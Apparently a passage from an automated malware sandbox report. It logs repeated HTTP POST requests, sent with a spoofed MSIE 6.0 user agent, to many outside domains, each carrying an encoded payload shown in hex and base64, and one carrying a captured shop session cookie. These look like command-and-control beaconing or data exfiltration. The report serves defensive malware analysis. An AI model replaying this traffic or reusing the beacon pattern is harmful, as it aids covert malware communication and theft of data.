71 47 36 6b 42 41 4b 35 62 61 47 75 51 38 2f 58 62 56 6a 42 39 51 32 56 53 39 66 52 48 31 37 34 56 68 72 50 55 6c 44 31 49 6a 4a 39 43 58 38 59 30 56 4e 4c 52 4c 41 4b 53 6f 52 45 4f 33 6d 79 69 56 6c 59 5a 63 6f 47 41 2b 64 77 34 63 43 2f 49 66 58 37 79 75 46 56 32 7a 72 50 75 38 38 4c 67 4a 6a 48 4c 62 6f 45 38 75 45 74 51 4e 61 4a 74 70 4d 32 4f 5a 58 6d 63 47 36 31 4b 7a 34 61 46 57 69 30 4e 77 77 4d 65 43 4c 74 43 42 2f 46 65 36 77 70 37 65 33 65 57 6c 77 67 69 78 68 2f 79 55 7a 2b 6d 63 42 58 45 51 4f 45 68 49 59 73 72 4d 78 6a 72 41 70 69 35 37 6f 77 67 49 58 37 5a 33 64 59 75 6a 4a 62 56 49 64 35 67 44 56 4f 30 74 4a 72 67 6d 34 2f 65 68 33 42 46 32 74 4a 71 55 44 76 38 52 41 6e 53 56 67 52 52 4d 67 65 49 6e 44 4a 34 4b 61 63 57 6f 74 67 33 67 67 56 72 4e 52 39 4d 7a 68 75 41 75 6d 35 74 2f 79 44 39 63 42 59 30 4b 35 44 72 52 44 67 42 39 47 77 53 4a 51 77 74 4d 55 4a 76 2f 6e 59 2b 2f 65 45 49 67 78 62 5a 49 71 43 5a 6a 59 49 33 42 70 73 31 52 31 65 57 6b 72 6f 72 71 6c 4c 52 78 54 4a 57 31 56 2f 44 4f 59 49 73 41 6a 34 6c 6e 57 7a 4e 33 6d 43 2b 58 33 49 72 52 62 32 32 31 70 4d 53 6d 71 45 42 53 37 69 77 41 69 45 58 51 43 50 53 73 61 49 79 32 75 42 54 4a 77 3d 3d Data Ascii: c97SehXK/lgKMiF1/JTwAQ4fu68jD/qMGRiPPFkUBhZCTl49+uh4QwF6jN+XsQHncUWtTN63TJcQR6k/58AvLKJUxQNY9byeAiOtY/I5E1mVIefnftwQRMuXp0MtJKZRRg8k2QPnm5BHN3+Vb88JAoKDp+GexIMCzGpjQu3ENs7SVTZkpxsaAt9PxOrYQiyqG6kBAK5baGuQ8/XbVjB9Q2VS9fRH174VhrPUlD1IjJ9CX8Y0VNLRLAKSoREO3myiVlYZcoGA+dw4cC/IfX7yuFV2zrPu88LgJjHLboE8uEtQNaJtpM2OZXmcG61Kz4aFWi0NwwMeCLtCB/Fe6wp7e3eWlwgixh/yUz+mcBXEQOEhIYsrMxjrApi57owgIX7Z3dYujJbVId5gDVO0tJrgm4/eh3BF2tJqUDv8RAnSVgRRMgeInDJ4KacWotg3ggVrNR9MzhuAum5t/yD9cBY0K5DrRDgB9GwSJQwtMUJv/nY+/eEIgxbZIqCZjYI3Bps1R1eWkrorqlLRxTJW1V/DOYIsAj4lnWzN3mC+X3IrRb221pMSmqEBS7iwAiEXQCPSsaIy2uBTJw==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.jacomfg.comCache-Control: no-cacheData Raw: 4c 75 71 73 4e 45 61 41 66 51 36 79 43 2b 5a 44 59 56 72 41 67 47 6e 39 6b 6b 75 6d 4d 39 47 56 32 6f 44 6b 4e 57 69 4c 75 4c 35 6d 35 64 2b 59 47 4a 73 61 43 39 75 4d 72 4d 5a 55 67 72 75 56 56 4d 6a 54 78 50 43 44 37 66 41 54 48 64 46 73 4e 6c 67 39 65 35 35 67 54 51 66 2f 30 33 2f 4f 6f 6b 6b 34 59 68 57 6a 51 65 42 75 63 62 6e 32 2f 76 51 34 51 57 64 73 75 55 52 35 31 78 74 6f 58 62 76 71 52 7a 50 63 32 4d 53 42 79 56 30 4c 76 4e 75 67 52 74 46 69 53 67 58 6d 6b 50 62 56 37 4d 4f 78 4f 55 45 6b 6e 52 56 30 30 67 57 56 59 2f 74 34 79 4c 37 74 74 68 62 31 63 6a 70 73 5a 58 5a 4f 38 54 32 69 6c 2f 74 39 74 37 4c 6e 2f 53 65 66 54 2f 30 4b 44 38 73 63 47 64 68 6a 4a 68 66 6e 49 52 70 4c 68 7a 5a 42 4a 42 48 31 38 39 43 35 70 4a 36 79 68 59 77 59 59 65 42 35 50 75 59 48 78 64 52 65 49 6b 6d 70 6c 75 6e 58 5a 6d 38 36 70 62 4c 2f 79 42 34 6a 4a 45 37 6a 47 6f 42 35 49 74 6a 2f 6b 2b 72 6b 4a 67 65 43 41 36 42 65 65 52 4e 64 2b 72 44 39 65 6a 44 6a 44 62 70 6b 6a 57 32 71 65 37 67 7a 64 30 35 64 36 42 6b 4b 79 2f 41 6d 48 55 71 4a 6c 4f 33 59 6f 78 54 56 46 54 4a 67 31 30 48 51 58 6b 53 6b 4a 38 78 6b 68 41 4b 65 41 55 79 54 30 67 58 53 4d 49 4e 42 58 72 4b 50 76 30 4b 69 56 6d 6a 55 6f 41 4b 64 4a 6a 38 73 44 55 4e 53 47 5a 54 78 44 38 56 46 49 4f 6c 6f 6e 55 62 6d 49 64 45 57 4a 2b 67 39 4e 33 6b 6b 4e 42 53 78 38 41 57 54 4f 72 51 66 75 62 49 74 78 2b 4d 4f 33 38 59 35 65 4b 35 4a 45 4a 73 58 63 7a 34 4f 71 69 34 6a 39 44 33 6e 6d 33 7a 49 52 39 38 57 56 6b 63 33 68 30 2b 6d 35 73 39 4b 47 65 48 73 35 4f 54 4d 7a 63 66 38 4d 67 4c 72 67 53 70 4d 66 5a 78 66 63 57 30 67 6c 79 50 36 7a 53 70 6e 62 65 46 66 2f 63 79 6f 59 69 73 6c 6c 31 56 45 2f 5a 2b 4d 53 6e 4e 46 55 55 32 2f 55 71 77 37 Data Ascii: LuqsNEaAfQ6yC+ZDYVrAgGn9kkumM9GV2oDkNWiLuL5m5d+YGJsaC9uMrMZUgruVVMjTxPCD7fATHdFsNlg9e55gTQf/03/Ookk4YhWjQeBucbn2/vQ4QWdsuUR51xtoXbvqRzPc2MSByV0LvNugRtFiSgXmkPbV7MOxOUEknRV00gWVY/t4yL7tthb1cjpsZXZO8T2il/t9t7Ln/SefT/0KD8scGdhjJhfnIRpLhzZBJBH189C5pJ6yhYwYYeB5PuYHxdReIkmplunXZm86pbL/yB4jJE7jGoB5Itj/k+rkJgeCA6BeeRNd+rD9ejDjDbpkjW2qe7gzd05d6BkKy/AmHUqJlO3YoxTVFTJg10HQXkSkJ8xkhAKeAUyT0gXSMINBXrKPv0KiVmjUoAKdJj8sDUNSGZTxD8VFIOlonUbmIdEWJ+g9N3kkNBSx8AWTOrQfubItx+MO38Y5eK5JEJsXcz4Oqi4j9D3nm3zIR98WVkc3h0+m5s9KGeHs5OTMzcf8MgLrgSpMfZxfcW0glyP6zSpnbeFf/cyoYisll1VE/Z+MSnNFUU2/Uqw7
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.snugpak.comCache-Control: no-cacheCookie: cart_currency=GBP; keep_alive=ab60e959-e1fb-4e62-af2e-c2a4066ad0b1; _tracking_consent=%7B%22con%22%3A%7B%22CMP%22%3A%7B%22a%22%3A%22%22%2C%22m%22%3A%22%22%2C%22p%22%3A%22%22%2C%22s%22%3A%22%22%7D%7D%2C%22v%22%3A%222.1%22%2C%22region%22%3A%22USTX%22%2C%22reg%22%3A%22%22%2C%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D; _shopify_y=a33c6b7a-413d-41cc-a563-ce4e4082ffc1; _shopify_s=33ea1964-f4d2-44ed-aeb4-3e6ce091ebb1; _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22sale_of_data_region%22%3Afalse%7D
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 544User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.cel-cpa.comCache-Control: no-cacheData Raw: 76 46 6e 2f 4b 4b 79 2f 6a 51 34 41 49 62 55 4b 6c 7a 66 4d 4b 37 2b 44 5a 54 55 45 56 74 59 50 6f 4c 4f 44 64 5a 42 4e 4d 37 6e 36 64 76 58 2f 5a 42 2b 66 59 7a 65 54 4b 39 4b 33 79 6e 2b 6f 70 55 74 56 78 43 79 6a 47 77 75 7a 34 79 51 57 78 4b 68 49 53 42 77 44 63 49 52 53 4f 5a 46 67 6a 49 55 78 67 72 69 4e 31 59 61 54 38 53 6e 62 6c 71 4e 4d 4f 5a 63 52 5a 56 73 68 6e 63 37 65 45 38 58 4a 71 48 65 47 44 5a 6c 51 54 5a 54 37 4d 69 43 33 4c 6f 30 79 36 64 56 62 67 4e 68 58 37 6e 46 66 65 59 67 4a 70 71 67 6c 7a 79 4f 31 62 74 45 31 54 79 6b 39 6c 71 55 69 78 61 53 6e 5a 44 51 70 75 42 50 62 72 50 4b 41 72 45 67 32 48 32 50 2f 4c 65 2f 61 51 2f 38 36 45 33 30 49 41 4d 51 6d 50 6c 36 47 36 76 69 30 4d 73 65 36 43 64 4c 43 76 39 33 43 74 67 4f 6f 72 71 72 56 6a 32 31 6e 52 36 65 74 56 61 7a 47 47 65 75 39 72 68 52 2b 63 51 46 78 38 36 45 54 47 38 34 55 59 54 48 58 61 45 2b 30 36 72 62 6a 4c 36 65 47 4d 7a 73 69 6e 45 62 30 70 33 36 54 64 32 66 39 6f 2f 4e 6b 48 70 41 35 5a 72 54 35 50 51 74 2b 33 49 57 31 35 4b 32 73 73 49 45 4b 2b 79 7a 76 53 37 50 4f 2b 45 39 31 4d 70 53 51 41 59 41 70 49 62 49 65 41 72 48 34 56 61 57 35 58 66 74 4b 66 63 32 4b 4d 31 46 56 43 31 39 79 65 2b 63 50 4d 4d 34 58 31 4d 74 35 56 56 4f 43 4a 67 42 44 6f 70 77 74 51 79 71 37 44 31 50 70 67 34 41 78 59 34 50 56 66 4b 64 54 78 2b 59 62 70 51 47 36 66 76 72 70 72 72 79 6e 57 6d 33 6c 74 6c 6c 34 51 35 54 31 4e 68 56 66 79 77 31 76 55 51 62 4f 63 72 50 77 6b 76 64 47 75 30 39 71 74 4b 4b 4b 75 45 48 4a 54 2b 34 6d 53 31 57 68 46 38 56 2f 70 49 4c 45 79 36 39 78 47 32 39 71 46 4f 63 73 36 66 6c 4a 4c 31 30 77 49 62 6b 4f 4e 67 3d 3d Data Ascii: vFn/KKy/jQ4AIbUKlzfMK7+DZTUEVtYPoLODdZBNM7n6dvX/ZB+fYzeTK9K3yn+opUtVxCyjGwuz4yQWxKhISBwDcIRSOZFgjIUxgriN1YaT8SnblqNMOZcRZVshnc7eE8XJqHeGDZlQTZT7MiC3Lo0y6dVbgNhX7nFfeYgJpqglzyO1btE1Tyk9lqUixaSnZDQpuBPbrPKArEg2H2P/Le/aQ/86E30IAMQmPl6G6vi0Mse6CdLCv93CtgOorqrVj21nR6etVazGGeu9rhR+cQFx86ETG84UYTHXaE+06rbjL6eGMzsinEb0p36Td2f9o/NkHpA5ZrT5PQt+3IW15K2ssIEK+yzvS7PO+E91MpSQAYApIbIeArH4VaW5XftKfc2KM1FVC19ye+cPMM4X1Mt5VVOCJgBDopwtQyq7D1Ppg4AxY4PVfKdTx+YbpQG6fvrprrynWm3ltll4Q5T1NhVfyw1vUQbOcrPwkvdGu09qtKKKuEHJT+4mS1WhF8V/pILEy69xG29qFOcs6flJL10wIbkONg==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 576User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.stnic.co.ukCache-Control: no-cacheData Raw: 4c 66 6b 4e 76 68 2f 6e 6d 67 35 37 51 70 36 68 66 67 6c 71 52 4b 6a 69 61 65 37 31 32 64 4e 33 77 35 44 71 43 7a 4b 70 75 72 69 55 63 4a 43 6e 73 71 61 35 2b 66 62 46 58 74 66 6e 62 47 4b 41 74 58 58 74 65 4d 58 32 69 6f 50 33 45 36 4e 50 6a 72 4b 37 68 76 30 4a 45 45 51 5a 75 51 75 66 34 79 6d 2b 78 53 33 54 30 75 57 57 39 49 59 51 39 42 62 75 36 42 48 72 4a 72 6a 47 57 38 65 7a 4c 50 52 39 45 63 57 6b 59 5a 4e 62 75 63 49 4b 66 65 39 78 41 2b 42 38 59 7a 43 36 74 54 71 77 54 56 4b 4a 73 37 7a 51 58 4c 4e 7a 38 70 52 6c 77 50 2f 42 46 50 64 64 64 34 4a 54 4a 42 6d 61 2f 75 52 30 41 4f 59 43 77 70 36 4f 66 4b 53 6f 79 43 74 62 6a 45 53 47 7a 72 6c 2f 34 36 57 6a 57 50 36 4e 78 30 75 52 2f 51 41 41 2b 71 6d 69 37 54 5a 32 4a 35 59 42 39 73 56 5a 4d 4b 7a 34 75 6d 4f 49 59 4b 6e 35 32 73 59 4d 51 5a 54 6b 51 55 4c 57 6e 50 36 57 4e 31 70 74 43 58 55 54 62 38 52 2b 33 69 78 48 7a 41 5a 41 58 43 41 31 6f 49 39 2f 75 42 77 58 51 33 53 61 41 4f 4f 6d 64 41 4c 68 39 44 43 35 61 59 72 35 5a 6a 68 73 6b 37 7a 6c 51 79 51 4a 71 64 7a 62 45 30 75 4a 78 55 6c 53 6f 39 55 38 39 49 2b 7a 71 49 61 57 65 53 4b 76 2b 4b 66 33 58 48 4e 2f 69 46 78 39 45 64 41 33 33 6c 77 4d 62 46 50 61 4e 6d 75 4b 5a 4e 77 35 63 6e 66 6b 79 4f 41 39 79 64 32 45 5a 33 33 53 45 5a 32 43 73 64 73 30 36 6f 76 2f 45 72 5a 32 39 73 68 70 55 6b 7a 33 7a 4c 74 48 70 31 47 59 4e 76 33 66 37 6c 59 5a 68 68 62 52 75 72 47 53 49 6e 65 74 4f 75 35 47 58 68 59 68 67 4f 39 51 44 77 4a 62 35 78 4c 6e 5a 5a 38 63 63 65 43 7a 74 6f 32 64 6e 45 56 52 44 37 56 58 59 2f 43 66 6a 4e 47 49 70 46 47 79 33 51 54 59 61 6d 41 72 74 59 50 49 38 44 59 47 76 74 77 55 44 35 4b 57 41 37 46 6d 65 48 4f 70 35 6f 68 4b 6c 6d 38 68 62 62 62 30 71 67 78 67 55 41 3d 3d Data Ascii: LfkNvh/nmg57Qp6hfglqRKjiae712dN3w5DqCzKpuriUcJCnsqa5+fbFXtfnbGKAtXXteMX2ioP3E6NPjrK7hv0JEEQZuQuf4ym+xS3T0uWW9IYQ9Bbu6BHrJrjGW8ezLPR9EcWkYZNbucIKfe9xA+B8YzC6tTqwTVKJs7zQXLNz8pRlwP/BFPddd4JTJBma/uR0AOYCwp6OfKSoyCtbjESGzrl/46WjWP6Nx0uR/QAA+qmi7TZ2J5YB9sVZMKz4umOIYKn52sYMQZTkQULWnP6WN1ptCXUTb8R+3ixHzAZAXCA1oI9/uBwXQ3SaAOOmdALh9DC5aYr5Zjhsk7zlQyQJqdzbE0uJxUlSo9U89I+zqIaWeSKv+Kf3XHN/iFx9EdA33lwMbFPaNmuKZNw5cnfkyOA9yd2EZ33SEZ2Csds06ov/ErZ29shpUkz3zLtHp1GYNv3f7lYZhhbRurGSInetOu5GXhYhgO9QDwJb5xLnZZ8cceCzto2dnEVRD7VXY/CfjNGIpFGy3QTYamArtYPI8DYGvtwUD5KWA7FmeHOp5ohKlm8hbbb0qgxgUA==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 580User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.kernsafe.comCache-Control: no-cacheData Raw: 41 69 62 77 31 67 67 68 37 51 30 6e 30 64 39 4a 53 39 42 71 70 6e 76 56 65 61 4b 51 36 47 4d 54 76 4f 54 66 61 30 4a 4f 55 37 6b 4a 55 53 47 31 4f 6c 73 34 6b 54 58 31 63 38 6e 6b 31 41 64 6a 6e 4d 43 41 42 56 70 76 50 37 4f 70 61 41 4e 68 4a 2f 2b 35 59 50 69 4c 50 31 63 70 67 78 6d 77 63 6b 66 48 33 2b 67 6a 52 39 32 38 2f 4a 75 71 53 51 35 53 64 71 2b 4e 4d 72 6c 48 66 38 6f 49 43 4a 44 67 41 2f 78 70 35 44 66 77 48 37 6b 68 50 68 64 54 42 6d 33 45 74 46 34 67 36 38 76 39 70 79 61 65 4f 79 44 72 41 68 79 59 55 2b 33 4a 49 73 51 62 2b 45 48 42 38 6f 4d 75 50 32 6b 46 4a 79 48 78 42 64 31 56 70 46 69 2f 38 7a 54 69 68 61 50 53 44 36 38 7a 53 65 6f 78 63 5a 6f 55 32 4c 32 6e 48 59 78 6a 44 63 31 68 71 62 6a 31 43 50 6b 42 2b 32 71 34 68 65 4b 76 68 32 79 6c 2f 70 51 71 70 6b 75 6b 69 64 78 4a 73 63 4b 6d 4c 66 68 45 52 74 59 42 66 62 35 50 59 7a 50 39 31 5a 4e 72 43 58 2f 51 34 30 43 4b 4a 77 4b 76 6f 68 32 4c 5a 72 48 37 64 73 74 61 30 31 47 67 68 39 53 6a 7a 77 47 77 6c 62 71 78 55 4f 62 69 6d 66 44 30 76 6c 42 31 61 56 31 70 74 74 35 79 4e 46 54 36 66 69 76 47 59 4e 4e 50 56 46 54 75 65 6b 56 51 54 4f 46 6f 36 71 44 61 75 31 62 6e 42 50 63 38 50 42 57 63 52 63 64 68 4d 64 32 66 77 32 42 69 31 65 37 4e 77 46 5a 67 5a 45 5a 4f 59 36 44 4a 56 79 61 4b 38 35 66 34 63 70 67 74 6e 46 50 74 78 4e 32 50 53 30 56 6e 4d 79 58 44 44 32 76 53 76 44 47 61 61 6f 35 74 77 2f 75 4f 53 77 34 2b 37 6e 74 77 42 74 53 34 4f 46 69 76 68 63 44 4f 6f 32 6a 73 65 71 53 53 4e 2f 73 4c 4b 34 50 46 4a 46 2b 48 51 4c 35 79 47 37 74 70 68 67 4e 68 75 6c 78 4a 75 33 2b 68 45 30 41 75 66 65 75 47 33 35 37 48 51 70 59 65 43 76 6f 6a 41 74 55 6b 38 65 70 52 57 57 76 4c 4e 4a 67 37 72 38 75 31 33 78 42 33 32 58 62 74 47 33 6b 39 57 51 3d 3d Data Ascii: Aibw1ggh7Q0n0d9JS9BqpnvVeaKQ6GMTvOTfa0JOU7kJUSG1Ols4kTX1c8nk1AdjnMCABVpvP7OpaANhJ/+5YPiLP1cpgxmwckfH3+gjR928/JuqSQ5Sdq+NMrlHf8oICJDgA/xp5DfwH7khPhdTBm3EtF4g68v9pyaeOyDrAhyYU+3JIsQb+EHB8oMuP2kFJyHxBd1VpFi/8zTihaPSD68zSeoxcZoU2L2nHYxjDc1hqbj1CPkB+2q4heKvh2yl/pQqpkukidxJscKmLfhERtYBfb5PYzP91ZNrCX/Q40CKJwKvoh2LZrH7dsta01Ggh9SjzwGwlbqxUObimfD0vlB1aV1ptt5yNFT6fivGYNNPVFTuekVQTOFo6qDau1bnBPc8PBWcRcdhMd2fw2Bi1e7NwFZgZEZOY6DJVyaK85f4cpgtnFPtxN2PS0VnMyXDD2vSvDGaao5tw/uOSw4+7ntwBtS4OFivhcDOo2jseqSSN/sLK4PFJF+HQL5yG7tphgNhulxJu3+hE0AufeuG357HQpYeCvojAtUk8epRWWvLNJg7r8u13xB32XbtG3k9WQ==
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 584User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.fink.comCache-Control: no-cacheData Raw: 32 64 69 6a 4a 39 39 55 6e 67 37 2b 4d 33 44 76 50 68 77 52 57 6d 68 57 48 6d 36 31 65 74 77 6e 67 7a 71 6a 78 56 6b 6a 4f 64 66 38 49 46 4b 73 6d 4e 58 48 53 6c 4e 61 72 62 34 48 4a 54 4c 6f 4c 37 76 77 31 78 53 31 71 47 6c 38 53 50 53 64 6d 51 35 4c 54 66 50 50 79 5a 4c 62 74 65 7a 34 57 41 6a 45 6d 68 34 68 46 5a 44 32 57 37 6a 33 7a 71 2b 4d 6a 64 42 5a 4d 6e 6a 72 49 49 30 75 38 72 72 6f 2f 4d 34 70 45 79 61 6d 58 72 33 49 6b 74 48 37 78 59 58 34 4f 39 64 6c 48 52 54 32 7a 7a 62 59 4c 61 4d 51 6f 72 76 46 72 7a 56 46 32 7a 2b 61 54 47 4d 59 6f 50 35 7a 43 6f 42 76 71 6a 74 61 30 74 31 44 56 49 57 55 42 30 67 37 5a 6e 43 62 4b 36 36 4e 56 68 33 4d 2b 73 41 62 6e 36 30 30 67 38 48 50 59 41 70 73 74 65 62 55 35 51 30 4b 75 30 75 4e 6f 6c 7a 53 50 52 77 65 45 65 49 35 77 38 70 7a 45 79 6d 4e 32 70 37 2f 6a 4d 31 4c 72 6b 66 38 35 35 51 44 2f 38 59 6a 74 78 6b 6e 48 7a 73 6b 34 7a 75 58 45 78 4c 66 67 58 34 67 38 32 56 41 47 74 69 70 66 39 37 58 2f 35 78 63 4a 73 50 46 51 45 51 39 66 41 59 6e 62 59 70 54 63 59 50 4b 46 49 4c 75 42 66 47 51 59 36 34 32 70 5a 73 52 36 73 71 36 6b 6b 58 34 34 6d 61 36 78 4c 4e 38 39 52 73 4f 56 76 51 6e 4d 79 73 6f 4f 36 38 31 31 33 56 5a 53 76 47 61 6c 34 6b 52 6f 50 77 69 6c 59 30 56 51 68 51 58 64 63 51 37 56 78 4f 39 2b 72 77 38 79 68 43 4a 44 44 58 70 30 69 6a 6a 33 35 71 6e 58 79 6c 34 6e 37 46 4c 37 4a 4a 4d 51 2b 38 68 4b 2b 72 35 49 30 31 47 77 31 61 4e 7a 4a 35 53 6b 35 56 51 4d 48 63 79 53 62 35 62 6a 5a 4b 43 36 37 63 4b 36 65 38 67 67 32 32 33 30 50 78 7a 66 69 62 33 68 54 67 55 4c 67 6a 33 71 56 50 43 32 68 54 45 6b 4d 32 70 4d 4e 6e 30 4e 34 41 6b 7a 46 54 47 76 35 43 48 70 68 2b 5a 41 55 6f 61 6e 42 52 52 55 36 4e 69 47 4f 76 50 4b 64 45 59 38 7a 4f 2f 75 70 50 4f 72 2f 49 3d Data Ascii: 2dijJ99Ung7+M3DvPhwRWmhWHm61etwngzqjxVkjOdf8IFKsmNXHSlNarb4HJTLoL7vw1xS1qGl8SPSdmQ5LTfPPyZLbtez4WAjEmh4hFZD2W7j3zq+MjdBZMnjrII0u8rro/M4pEyamXr3IktH7xYX4O9dlHRT2zzbYLaMQorvFrzVF2z+aTGMYoP5zCoBvqjta0t1DVIWUB0g7ZnCbK66NVh3M+sAbn600g8HPYApstebU5Q0Ku0uNolzSPRweEeI5w8pzEymN2p7/jM1Lrkf855QD/8YjtxknHzsk4zuXExLfgX4g82VAGtipf97X/5xcJsPFQEQ9fAYnbYpTcYPKFILuBfGQY642pZsR6sq6kkX44ma6xLN89RsOVvQnMysoO68113VZSvGal4kRoPwilY0VQhQXdcQ7VxO9+rw8yhCJDDXp0ijj35qnXyl4n7FL7JJMQ+8hK+r5I01Gw1aNzJ5Sk5VQMHcySb5bjZKC67cK6e8gg2230Pxzfib3hTgULgj3qVPC2hTEkM2pMNn0N4AkzFTGv5CHph+ZAUoanBRRU6NiGOvPKdEY8zO/upPOr/I=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 548User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.netcr.comCache-Control: no-cacheData Raw: 57 46 4b 6a 6e 37 51 61 7a 6c 67 74 41 70 42 62 44 77 59 65 65 51 64 34 57 50 79 73 34 53 45 34 4b 48 76 69 35 49 38 6f 30 6f 71 63 35 54 44 31 63 4a 53 46 58 75 70 55 4a 75 67 41 4c 66 70 72 53 4b 38 74 45 6b 4d 71 69 6c 62 58 6a 34 6d 6f 30 75 5a 4f 42 2f 45 41 72 70 38 46 2b 30 6d 42 6f 55 52 43 75 67 75 4d 31 37 50 31 4c 67 56 50 2f 66 65 67 49 57 38 70 61 4c 50 62 2f 33 77 4a 42 5a 46 31 5a 50 66 76 59 67 5a 52 58 4a 39 57 79 46 77 62 58 51 48 6a 37 50 77 4f 62 53 71 65 35 2b 34 4e 43 49 69 35 33 4d 53 57 48 69 65 76 65 76 42 31 72 6a 41 39 56 37 33 30 6d 4a 52 38 45 76 6d 54 6e 47 48 68 4e 75 70 66 30 30 41 39 4d 76 6b 62 52 65 6a 31 79 76 54 53 6c 4c 33 52 68 58 79 63 39 61 2f 56 74 37 69 2f 38 74 43 48 7a 65 66 62 6b 56 57 77 4e 37 46 4b 6c 6b 6a 5a 73 63 71 76 46 43 66 4f 6a 67 62 51 47 4f 6b 45 33 69 37 46 46 52 47 76 62 76 45 36 5a 62 57 78 30 51 52 4f 4a 32 57 4f 54 5a 47 70 57 44 67 4c 53 6c 4c 50 45 5a 6f 5a 69 36 64 33 4d 33 54 4e 6f 63 73 71 2f 54 74 61 59 47 31 4a 79 58 5a 59 63 71 72 45 6b 6c 2b 71 62 74 4e 4c 71 76 64 43 66 34 47 61 72 6c 35 51 65 55 75 4d 49 4c 64 50 30 43 57 77 52 39 53 52 52 4b 49 63 5a 46 73 7a 51 57 62 4b 55 2b 70 58 4e 67 72 47 6a 64 76 43 75 65 77 58 73 69 34 45 7a 48 32 46 46 59 4f 50 6c 46 44 59 6c 73 4f 67 42 6b 67 6e 42 43 63 4c 36 50 55 43 67 77 5a 61 34 58 78 74 31 78 48 38 67 53 78 46 7a 50 6b 64 46 4d 70 4a 4c 6d 47 45 45 37 66 74 51 68 38 62 4e 34 52 4f 2f 6d 62 5a 36 6a 4b 52 70 73 32 6e 48 4c 4b 6e 75 38 67 58 70 75 79 59 35 7a 58 49 6e 74 37 43 31 57 44 43 34 37 5a 50 5a 62 58 72 69 4d 6b 63 39 54 37 6e 72 37 42 4e 41 6a 4e 53 54 55 6b 50 46 74 48 46 72 54 77 3d Data Ascii: WFKjn7QazlgtApBbDwYeeQd4WPys4SE4KHvi5I8o0oqc5TD1cJSFXupUJugALfprSK8tEkMqilbXj4mo0uZOB/EArp8F+0mBoURCuguM17P1LgVP/fegIW8paLPb/3wJBZF1ZPfvYgZRXJ9WyFwbXQHj7PwObSqe5+4NCIi53MSWHievevB1rjA9V730mJR8EvmTnGHhNupf00A9MvkbRej1yvTSlL3RhXyc9a/Vt7i/8tCHzefbkVWwN7FKlkjZscqvFCfOjgbQGOkE3i7FFRGvbvE6ZbWx0QROJ2WOTZGpWDgLSlLPEZoZi6d3M3TNocsq/TtaYG1JyXZYcqrEkl+qbtNLqvdCf4Garl5QeUuMILdP0CWwR9SRRKIcZFszQWbKU+pXNgrGjdvCuewXsi4EzH2FFYOPlFDYlsOgBkgnBCcL6PUCgwZa4Xxt1xH8gSxFzPkdFMpJLmGEE7ftQh8bN4RO/mbZ6jKRps2nHLKnu8gXpuyY5zXInt7C1WDC47ZPZbXriMkc9T7nr7BNAjNSTUkPFtHFrTw=
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Accept: /Accept-Language: en-usContent-Type: application/octet-streamContent-Length: 572User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)Host: www.speelhal.netCache-Control: no-cacheData Raw: 30 32 42 6a 64 6b 4c 55 75 51 37 57 37 44 6b 77 4e 51 62 6a 77 4d 55 43 74 53 52 53 66 52 4a 4c 6c 72 37 30 56 63 42 52 4a 52 36 46 67 72 62 4d 6b 4b 71 4d 50 6f 4f 42 53 4b 70 34 6f 63 50 33 6a 6d 66 55 5a 42 79 41 32 53 32 49 77 62 54 49 46 44 70 56 6e 50 30 65 4c 63 4c 4c 55 7a 47 4e 39 4c 33 63 38 72 65 71 4f 67 6e 67 4a 6f 59 63 52 37 6d 46 77 4f 72 53 59 67 4a 51 43 59 42 30 43 74 76 69 49 58 51 66 72 31 43 62 6b 73 5a 72 70 39 41 53 36 6a 30 4d 53 34 6f 6a 4d 57 38 38 30 43 5a 45 67 37 70 52 59 68 61 68 6e 42 69 4f 41 64 70 52 67 32 77 58 44 4c 74 6b 4b 63 6a 76 49 56 32 4a 6a 63 77 44 38 73 69 4c 32 70 56 76 6c 44 49 50 36 4b 79 30 59 2b 4b 2b 62 74 69 4c 5a 4d 78 33 32 30 6b 32 54 6f 32 34 5a 67 4a 70 7a 50 37 6e 44 2b 61 51 68 78 53 46 32 44 69 35 74 6d 5a 39 68 61 5a 69 5a 77 77 52 38 41 70 32 54 4d 49 59 32 44 64 64 36 68 42 6d 78 39 6b 49 50 31 49 38 52 36 58 33 6b 2f 61 47 37 48 4a 2f 43 44 54 2b 32 5a 77 78 72 53 57 65 45 65 50 48 50 65 69 4b 4f 47 67 32 6e 4e 4c 7a 31 76 6b 31 48 67 65 76 32 51 6f 4e 75 6a 77 4c 2b 62 5a 4c 4a 67 58 33 68 35 6c 77 5a 48 35 52 68 55 71 37 4b 2f 74 71 56 6f 36 67 36 31 72 41 65 2f 65 71 57 45 35 30 4a 74 36 56 50 5a 73 70 6f 73 5a 37 4f 76 56 6c 77 69 2b 68 6e 48 2b 72 58 2b 76 32 46 4a 46 37 4b 6c 71 54 79 69 73 54 78 66 